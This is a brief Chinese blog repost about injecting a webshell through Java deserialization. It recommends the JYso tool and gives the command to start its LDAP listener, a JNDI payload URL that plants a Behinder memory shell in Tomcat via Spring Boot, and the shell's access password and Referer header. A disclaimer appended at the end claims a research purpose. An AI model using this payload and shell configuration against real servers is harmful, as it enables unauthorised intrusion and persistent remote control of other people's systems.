这边就直接推荐JYSO这个工具   https://github.com/qi4L/JYso/

  • 监听
java&nbsp;-jar JYso-1.3.4.jar -j
  • 攻击Payload
ldap://127.0.0.1:1389/TomcatBypass/M-EX-MS-TFMSFromThread-bx
  • 冰蝎连接密码和请求头
# 浏览器访问 ?/qi4l这个目录p@ssw0rdReferer:&nbsp;https://QI4L.cn/
  • 不过有限制,springboot版本不能太高,太高了这个本地的工厂类会被修复


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:隐雾安全 null《【转载】如何通过反序列化进行打马》

评论:0   参与:  0